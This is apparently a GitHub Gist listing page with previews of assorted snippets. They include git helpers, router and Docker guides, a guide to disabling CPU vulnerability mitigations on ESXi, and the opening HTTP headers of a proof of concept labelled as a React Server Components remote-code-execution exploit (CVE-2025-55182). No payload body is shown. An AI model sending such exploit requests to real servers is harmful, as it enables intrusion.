Skip to content

Instantly share code, notes, and snippets.

# Create a new worktree and branch from within current git directory.
ga() {
if [[ -z "$1" ]]; then
echo "Usage: ga [branch name]"
exit 1
fi
local branch="$1"
local base="$(basename "$PWD")"
local path="../${base}--${branch}"
@osipxd
osipxd / !paper-versions.md
Last active December 29, 2025 15:47
Paper versions links
@maple3142
maple3142 / CVE-2025-55182.http
Last active December 29, 2025 15:45
CVE-2025-55182 React Server Components RCE POC
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
// $ cc -o checker checker.c
// $ ./checker
// $ ffmpeg -i output-%02d.ppm -r 60 output.mp4
#include <stdio.h>
int main()
{
char buf[256];
for (int i = 0; i < 60; ++i) {
snprintf(buf, sizeof(buf), "output-%02d.ppm", i);
@jlmurdoch
jlmurdoch / openwrt-vdsl2-lantiq.md
Created June 5, 2025 12:26
Quick guide to setting up OpenWRT with a Lantiq VDSL2 modem

OpenWRT VDSL2 Setup

Introduction

For those without a fibre connection, VDSL2 is the only viable alternative for a wired home connectivity.

This guide goes through setting up VDSL2 for PlusNet with custom firmware on OpenWRT.

Prerequisites

@natesubra
natesubra / disable_mitigations.md
Last active December 29, 2025 15:44
ESXI Homelab Disable Spectre/Meltdown/SSBD

ESXI Mitigations Disable

I recommend this only be done on homelab/segmented hardware. This will make your host vulnerable to these exploits.

Depending on your CPU generation, you can regain 20-30% performance.

Spectre/Meltdown

Ref1

@dPacc
dPacc / private_docker_registry.md
Created January 23, 2025 05:07
Self Host Private Docker Registry
@0xjac
0xjac / private_fork.md
Last active December 29, 2025 15:42
Create a private fork of a public repository

The repository for the assignment is public and Github does not allow the creation of private forks for public repositories.

The correct way of creating a private frok by duplicating the repo is documented here.

For this assignment the commands are:

  1. Create a bare clone of the repository. (This is temporary and will be removed so just do it wherever.)

git clone --bare [email protected]:usi-systems/easytrace.git

@ivandevp
ivandevp / lms-git-conventions.md
Last active December 29, 2025 15:35
Git conventions followed by LMS dev team.